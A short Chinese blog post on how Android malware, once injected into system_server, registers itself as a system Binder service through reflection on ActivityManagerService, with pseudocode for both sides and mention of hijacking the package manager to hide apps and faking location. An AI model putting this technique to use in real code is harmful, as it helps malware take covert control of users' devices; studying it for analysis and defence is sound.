Android病毒之为系统添加Binder服务

正文

病毒在将dex注入system_server之后,一般都会对外提供接口,以便对framework达到灵活的控制等目的,最佳方式当然是将自己添加到系统Binder服务中,这样在服务端和客户端就少了传递和获取Binder对象的代码,全部由系统来完成,也更加稳定。
  原理很简单,直接上伪码:

    private boolean addSelfToAppBindArgs(){
        //确保mAppBindArgs被初始化
        if (Build.VERSION.SDK_INT >= LOLLIPOP_MR1) {
            ActivityManagerService.getCommonServicesLocked.invoke(this
                    .mAMS, new Object[]{false});
        } else {
            ActivityManagerService.getCommonServicesLocked.invoke(this
                    .mAMS, new Object[]{true});
        }

        //获取mAppBindArgs
        HashMap appBindArgs = ActivityManagerService.mAppBindArgs.get(this.mAMS);
        if (appBindArgs == null) {
            return false;
        }
        appBindArgs.put(SERVICE_NAME, this);
        return true;
    }

客户端代码:

IBinder iBinder = ServiceManager.checkService.invoke(new Object[]{SERVICE_NAME});
service = IXXService.Stub.asInterface(iBinder);//获取到病毒提供的接口

客户端在获取到Binder对象之后,通过调用接口,就可以随意灵活的操控Framework框架层了,比如劫持PMS隐藏应用程序,劫持LocationManagerService位置欺骗。。。。

参考

http://liwenkun.xyz/2016/12/05/how-android-apps-get-system-services/
https://jaq.alibaba.com/community/art/show?articleid=342

你可能感兴趣的:(Android病毒之为系统添加Binder服务)